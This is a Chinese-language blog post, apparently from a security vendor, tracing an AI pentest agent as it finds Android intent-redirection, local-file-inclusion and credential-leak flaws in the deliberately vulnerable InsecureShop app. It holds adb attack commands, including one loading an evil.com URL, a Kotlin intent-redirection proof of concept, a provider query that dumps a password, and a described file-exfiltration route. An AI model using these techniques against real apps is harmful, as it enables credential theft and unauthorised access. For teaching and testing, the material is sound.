AI 驱动的渗透测试:深入剖析 Android Intent 重定向
本文展示了 Ostorlab 的 AI 渗透测试引擎分析某 Android 应用以查找 Intent 重定向漏洞的过程。跟随该引擎从静态分析、初步发现到严格的动态验证的全过程,领略它不仅能够识别潜在威胁,还能够细致地排除误报的能力。
Ostorlab 的 AI 渗透测试引擎旨在复现一名专家级人类安全研究员那种复杂的、多步骤的工作流程。它不只是运行一个扫描器并报告输出;它会提出假设、对其进行测试,并验证自己的发现。
为了检验这一点,我们将该引擎对准了 InsecureShop 这款 Android 应用,目标是测试 Intent 重定向漏洞。对某一漏洞类别进行测试的目标,由一个威胁情报模块来定义,该模块会识别出所有风险以及需要测试的上下文,不过关于这一点我们将在后续文章中详述。
随之而来的是一次优雅而快速的渗透测试过程。AI 引擎反编译了该应用,通过静态分析识别出可能存在漏洞的组件,随后使用动态分析和概念验证应用,严格地尝试验证每一个发现。
本文记录了该引擎完整、未经编辑的工作流程,不仅凸显了它发现严重缺陷的能力,而且同样重要地,凸显了它确认或排除这些缺陷的能力。
测试计划的生成
AI 引擎的第一步是制定一套包含 10 项任务的方法论,其目标如下:
- 识别所有已导出的应用组件及其 intent filter
- 分析 intent 的处理过程,查找潜在的重定向缺陷
- 使用恶意 intent 对组件进行模糊测试,以触发非预期行为
- 为已确认的漏洞开发完整的概念验证应用
计划分解
- APK 反编译 —— 提取 AndroidManifest.xml 文件、资源和源代码,用于梳理应用的攻击面
- 组件分析 —— 枚举所有 activity、service 和 broadcast receiver,重点关注带有
android:exported=true的组件 - Intent Filter 文档化 —— 为每个已导出的组件记录其 action、category 和 data scheme
- 源代码审查 —— 检查已导出的组件,查找其中创建 Intent 对象或从接收到的 intent extra 中提取数据的模式
- 环境搭建 —— 在启用了日志记录和监控工具的测试设备上安装该应用
- 构造恶意 Intent —— 创建在 extras bundle 中嵌入了嵌套 intent 的 intent,以测试重定向能力
- 权限提升测试 —— 通过嵌套 intent 针对非导出组件进行测试,以检验是否存在未授权访问
- 系统监控 —— 监控 logcat 和应用行为,寻找 intent 重定向成功的迹象
- PoC 开发 —— 创建 Android 应用,通过构造恶意 intent 来演示安全影响
- 文档记录 —— 记录发现结果,包括存在漏洞的组件、所使用的恶意 intent 以及 PoC 源代码
引擎的逐步推理
反编译该 APK 并细致地分析 AndroidManifest.xml 文件。目标是创建一份全面而确定的清单,列出所有已导出的组件(activity、service 和 broadcast receiver)。预期的产出是一份被标记为 android:exported="true" 的组件名称清单。
步骤 1:run_decompile_apk:
- 工具名称:run_decompile_apk
- 参数:
apk_path='/REDACTED/InsecureShop.apk'_
AndroidManifest.xml:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application android:debuggable="true" ...>
<activity android:name="com.insecureshop.WebViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="insecureshop" android:host="com.insecureshop"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
...
<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
</application>
</manifest>
发现 1:WebViewActivity 中的本地文件包含
AI 对 WebViewActivity.java 及其对应 manifest 条目的静态分析引出了一个假设:该 activity 可能被诱骗通过自定义 URI 中的 url 参数加载本地文件,这表明可能存在本地文件包含(LFI)漏洞。
随后,AI 转向验证这一假设。
步骤 1:Trigger the Webview
- 工具名称:adb
- 参数:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com
步骤 2:Result Observation
- 工具名称:run_take_screenshot
- 输出:Successfully captured 1 screenshots.

步骤 3:Create Test File
- 工具名称:adb
- 参数:
shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html
步骤 4:Attempt to Load Local File via Intent
- 工具名称:adb
- 参数:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"
步骤 5:Result Observation
- 工具名称:run_take_screenshot
- 输出:Successfully captured 1 screenshots.

发现 2:WebView2Activity 中的 Intent 重定向
对 com.insecureshop.WebViewActivity 的分析揭示了一个本地文件包含漏洞。AndroidManifest.xml 显示还有另一个已导出的 activity,即 com.insecureshop.WebView2Activity,它由自定义 action com.insecureshop.action.WEBVIEW 激活。下一项任务是调查这第二个 WebView activity,以确定它是否存在类似的漏洞,或在其 intent 处理中是否有其他缺陷。
接下来,AI 分析了 WebView2Activity,这是一个已导出的 activity,它似乎会启动任何作为名为 extra_intent 的 Parcelable extra 传递给它的 Intent。这是 Intent 重定向的一种经典模式,可能允许恶意应用启动非导出组件。
为了验证这一点,AI 构建并部署了一个概念验证恶意应用,旨在利用此缺陷并启动非导出的 PrivateActivity。
步骤 1:Build and Install PoC
工具名称:run_build_app
参数:
Imports:
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
PoC Application Code:
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val maliciousIntent = Intent()
maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")
val wrapperIntent = Intent()
wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
wrapperIntent.putExtra("extra_intent", maliciousIntent)
startActivity(wrapperIntent)
}
}
工具名称:adb
参数:
install /REDACTED/pentestingApp-debug.apk
输出:
Performing Streamed Install
Success
步骤 2:Launch PoC and Observe
工具名称:adb
参数:
shell am start -n com.example.pentestingapp/.MainActivity
输出:
Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }
工具名称:run_take_screenshot
输出:Successfully captured 1 screenshots.

发现 3:通过 InsecureShopProvider 导致的凭据泄露
在两个已导出的 activity 中发现了重大漏洞之后,我们是否已经收集到足够的信息来理解该应用的主要弱点,还是说对其他已导出组件(例如 InsecureShopProvider content provider)进行更彻底的调查,会得出一幅关于整体安全态势的更完整图景?
AI 识别出一个由 normal 级别权限保护的已导出 content provider,这表明任何应用都可以查询它。对 InsecureShopProvider.java 的静态分析表明,它会返回所存储的用户凭据。
一个已导出的 content provider com.insecureshop.contentProvider.InsecureShopProvider 被识别为潜在的信息泄露点。该 provider 由 com.insecureshop.permission.READ 权限保护。然而,该权限的定义中没有 protectionLevel,其默认值为 normal,这意味着任何应用在安装时都可以被授予此权限,而无需用户交互。该 provider 的源代码表明,它会查询并返回存储在 SharedPreferences 中的用户凭据。
来自 Manifest 的证据:
<provider
android:name="com.insecureshop.contentProvider.InsecureShopProvider"
android:readPermission="com.insecureshop.permission.READ"
android:exported="true"
android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>
InsecureShopProvider.java 的代码显示,query 方法会返回一个游标(cursor),其中包含存储在应用 shared preferences 中的用户名和密码,并忽略任何选择条件。
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Intrinsics.checkParameterIsNotNull(uri, "uri");
UriMatcher uriMatcher2 = uriMatcher;
if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
String[] strArr = new String[2];
String username = Prefs.INSTANCE.getUsername();
if (username == null) {
Intrinsics.throwNpe();
}
strArr[0] = username;
String password = Prefs.INSTANCE.getPassword();
if (password == null) {
Intrinsics.throwNpe();
}
strArr[1] = password;
cursor.addRow(strArr);
return cursor;
}
return null;
}
步骤 1:Query Content Provider:
工具名称:adb
参数:
shell content query --uri content://com.insecureshop.provider/insecure
步骤 2:Analyze Output:
该命令返回了 username 和 password 字段的值。
Row: 0 username=shopuser, password=!ns3csh0p
更进一步
通过 UploadService 导致的未授权文件外泄
分析已导出的 service net.gotev.uploadservice.UploadService。审查其源代码,以了解它可以如何被触发以及它接受哪些参数。目标是确定恶意应用是否能够构造一个 intent 来启动此 service,并迫使它从设备存储中上传任意的本地文件。
最后,引擎识别出一个已导出的上传 service,它可能被恶意应用触发,从而外泄私密文件。一次成功的利用需要构造一个 Parcelable 对象以作为 Intent extra 传递。
AI 尝试为此构建一个 PoC 应用。然而,可用的工具并不支持引入构造所需对象时需要用到的第三方库(net.gotev:android-upload-service)。
net.gotev.uploadservice.UploadService 在 AndroidManifest.xml 中以 android:exported="true" 声明,使得设备上的任何应用都可以访问它。
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
UploadService 旨在根据通过 Intent 传入的参数来处理文件上传。具体而言,它接受一个 taskClass 字符串和一个名为 taskParameters 的 Parcelable 对象。该 service 不会对调用方应用或 intent 中的参数执行任何校验。
恶意应用可以构造一个 Intent,指定一个有效的 UploadTask 类(例如 net.gotev.uploadservice.MultipartUploadTask),并提供包含以下内容的 UploadTaskParameters:
1. 一个由攻击者控制的任意服务器 URL。
2. 一个指向 InsecureShop 应用沙箱存储中敏感文件的路径(例如 /data/data/com.insecureshop/shared_prefs/Prefs.xml,其中存储着用户凭据)。
PoC Build Attempt:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}
由于无法构建 PoC,该漏洞无法被测试。
结论:无定论